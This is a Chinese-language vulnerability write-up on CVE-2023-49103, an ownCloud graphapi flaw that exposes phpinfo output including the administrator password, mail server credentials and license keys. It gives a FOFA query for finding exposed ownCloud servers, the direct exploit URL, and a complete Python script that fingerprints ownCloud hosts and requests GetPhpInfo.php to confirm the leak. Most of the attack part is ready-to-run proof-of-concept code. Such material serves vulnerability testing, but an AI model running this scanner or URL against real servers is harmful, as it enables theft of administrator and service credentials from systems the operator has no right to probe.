当前位置: 首页 > article >正文

【CVE-2023-49103】ownCloud graphapi信息泄露漏洞(2023年11月发布)

漏洞简介

ownCloud owncloud/graphapi 0.2.x在0.2.1之前和0.3.x在0.3.1之前存在漏洞。graphapi应用程序依赖于提供URL的第三方GetPhpInfo.php库。当访问此URL时,会显示PHP环境的配置详细信息(phpinfo)。此信息包括Web服务器的所有环境变量,包括敏感数据,如ownCloud管理员密码、邮件服务器凭据和许可证密钥。

漏洞等级高危
影响版本

ownCloud/graphapi 0.2.x < 0.2.1

ownCloud/graphapi 0.3.x < 0.3.1

漏洞类型信息泄露

产品简介    

 OwnCloud 是一个开源的私有云存储/网盘项目,OwnCloud 跨平台支持 Windows、Mac、Android、iOS、Linux 等平台,而且还提供了「网页版」以及 WebDAV 形式访问,因此你几乎可以在任何电脑、手机设备上都能轻松获取和访问你的文件文档,从而实现跨平台跨设备文件同步、共享、版本控制、团队协作等功能。

网络测绘

FOFA:app="ownCloud"

漏洞复现

手动验证POC

ip:port/apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo.php
 

注意:当url存在/owncloud/时,poc需要将该路径保留

即POC为

ip:port/owncloud/apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo.php
python扫描验证脚本
#!/usr/bin/env python3
# -*- coding: UTF-8 -*-
"""
@Project :漏洞复现POC 
@File    :【CVE-2023-49103】ownCloud graphapi信息泄露漏洞.py
@Author  :星之尘
@Date    :2023/11/28 15:24 
@脚本说明:
"""
import requests
from requests import Timeout
from urllib3.exceptions import InsecureRequestWarning
headers = {
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
        }

def verification(url):
    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
    if not url.startswith('http://') and not url.startswith('https://'):
        url = 'http://' + url
    path1 = "/index.php/login"
    path2 = "/owncloud/index.php/login"
    encodetext1 = url + path1
    encodetext2 = url + path2
    finger_url = [encodetext2, encodetext1]
    for url in finger_url:
        req1 = requests.get(url, headers=headers, verify=False, timeout=20)
        if "ownCloud" in req1.text:
            return url
    return False
def scan():
    verification_url = verification(url)
    print(f"扫描目标: {verification_url}")
    print("---------------------------------------------------")

    try:
        if "owncloud" in verification_url:
            exp_path = "/owncloud/apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo.php"
        else:
            exp_path = "/apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo.php"
        exp=url + exp_path
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        req2 = requests.post(exp, headers=headers, verify=False, timeout=20)
        if req2.status_code == 200 and "phpinfo()" in req2.text:
            print(f"[+] {url} !!!存在【CVE-2023-49103】ownCloud graphapi信息泄露漏洞!!!;")
        else:
            print(f"[-] {url} 不存在【CVE-2023-49103】ownCloud graphapi信息泄露漏洞")
    except Timeout:
        print(f"[!] 请求超时,跳过URL: {url}", "yellow")
    except Exception as e:
        if 'HTTPSConnectionPool' in str(e) or 'Burp Suite Professional' in str(e):
            print(f"[-] {url} 证书校验错误或者证书被拒绝")
        else:
            print(str(e))


if __name__ == "__main__":
    url = "your ip:port"
    verification(url)
    scan()


http://www.kler.cn/a/155819.html

相关文章:

  • 排序算法 - 冒泡
  • 结构体是否包含特定类型的成员变量
  • NAT网络工作原理和NAT类型
  • 虚拟机安装Ubuntu 24.04服务器版(命令行版)
  • 深入解析 OpenHarmony 构建系统-4-OHOSLoader类
  • 94个属于一区且接受医工交叉领域投稿的期刊汇总|个人观点·24-11-13
  • 栈和队列的OJ题--13.用队列实现栈
  • java_基础——ArrayList
  • Spring一些基础问题整理
  • 谱方法学习笔记-下(超详细)
  • 基于Java SSM框架+Vue实现旅游资源网站项目【项目源码+论文说明】计算机毕业设计
  • 【云原生Prometheus篇】Prometheus PromQL语句详解 1.0
  • 使用idea中的Live Templates自定义自动生成Spring所需的XML配置文件格式
  • Redis部署脚本(完成-第一版)
  • shell命令编写
  • 正则表达式从放弃到入门(2):grep命令详解
  • 机器学习---pySpark代码开发
  • 实体类转SQL工具类
  • 在南昌找工作应该上什么网
  • MySQL更改用户权限
  • GitHub Actions 之自动化发布 Maven 项目
  • 也可Adobe Animate
  • C++代码规范(JSF-AV版本)未完待续
  • JavaWeb 添加页面和用户图像展示
  • NAND Flash和NOR Flash的异同
  • 芋道源码ruoyi-vue-pro项目前端yarn下载报错